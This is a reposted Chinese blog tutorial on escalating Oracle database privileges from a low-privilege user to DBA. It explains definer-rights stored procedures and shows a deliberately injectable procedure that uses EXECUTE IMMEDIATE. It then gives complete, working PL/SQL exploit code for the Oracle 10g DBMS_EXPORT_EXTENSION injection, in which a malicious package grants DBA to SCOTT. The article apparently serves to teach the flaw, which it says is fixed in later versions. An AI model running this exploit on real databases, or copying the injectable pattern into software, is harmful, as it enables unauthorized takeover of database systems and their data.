博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Oracle数据库提权(低权限提升至dba)
阅读量:4594 次
发布时间:2019-06-09

本文共 2318 字,大约阅读时间需要 7 分钟。

0x01 Oracle存储过程缺陷

Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer  invoker

 

definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer

 


 

说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限

 

 

 Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

 

create or replace function Whoami return varchar2AUTHID CURRENT_USERbegin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了

 

 

 

 




 

 

 

 

比如下面这里新建一个存储过程

create or replace procedure SasugaOracle(msg in varchar2)asstmt varchar2(255);begin    stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';    EXECUTE IMMEDIATE stmt;end;

 

 EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

 

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

 

修改一下传入的参数这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer

 

然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。

类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

 

 

 

 

 

 

 

 

0x02 Oracle 10g 经典提权漏洞

 

Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys

 

 

scott/tiger登陆Oraclescott oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。

 

sqlplus scott/tiger@orcl

 

 

查询scott的当前角色

 

select * from session_roles;

 

 

 

 

可以看到scott只有CONNECTRESOURCE两个权限较低的角色

 

 

 

利用漏洞执行权限提升

Create or REPLACEPACKAGE HACKERPACKAGE AUTHID CURRENT_USERISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBER;END;/

 

 

 

 

Create or REPLACE PACKAGE BODY HACKERPACKAGEISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBERISpragma autonomous_transaction;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';COMMIT;RETURN(1);END;END;/

 

DECLAREINDEX_NAME VARCHAR2(200);INDEX_SCHEMA VARCHAR2(200);TYPE_NAME VARCHAR2(200);TYPE_SCHEMA VARCHAR2(200);VERSION VARCHAR2(200);NEWBLOCK PLS_INTEGER;GMFLAGS NUMBER;v_Return VARCHAR2(200);BEGININDEX_NAME := 'A1';INDEX_SCHEMA := 'SCOTT';TYPE_NAME := 'HACKERPACKAGE';TYPE_SCHEMA := 'SCOTT';VERSION := '10.2.0.1.0';GMFLAGS := 1;v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>INDEX_NAME,INDEX_SCHEMA=> INDEX_SCHEMA,TYPE_NAME => TYPE_NAME,TYPE_SCHEMA => TYPE_SCHEMA,VERSION => VERSION,NEWBLOCK => NEWBLOCK,GMFLAGS => GMFLAGS);END;/

 

现在我们再来看看权限

 

 

 

成功从普通用户提权到dba用户。

 

 

 

 

ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞

 

 

 

 

 

 

 

 

 

 

 

 

 

 

转载于:https://www.cnblogs.com/-qing-/p/10758613.html

你可能感兴趣的文章
常见Jquery问题
查看>>
jsp统计页面访问量和刷访问量的简单使用
查看>>
调试的新花招,利用firebug动态加载js库文件
查看>>
Unity3d的序列帧动画
查看>>
获取ScrollView的onScrollListener
查看>>
约数的个数
查看>>
Visual Studio 2008 具有一些新的报表功能和改进之处
查看>>
python环境错误
查看>>
CentOS 6.5优化开机启动服务
查看>>
mk文件配置第三方jar包,so文件
查看>>
Maven 进阶讲解(聚合)
查看>>
练习-模拟账号登录
查看>>
JDK(java development kit java开发工具包)的安装
查看>>
POJ 3233 - Matrix Power Series(矩阵快速幂)
查看>>
J-Robot,能走、能跳舞的机器人
查看>>
linux 下c语言调用终端命令
查看>>
orale中如何获取当前月份?
查看>>
程序设计语言.
查看>>
How to find First Non-Repeated Character from String
查看>>
排列与组合定理和公式
查看>>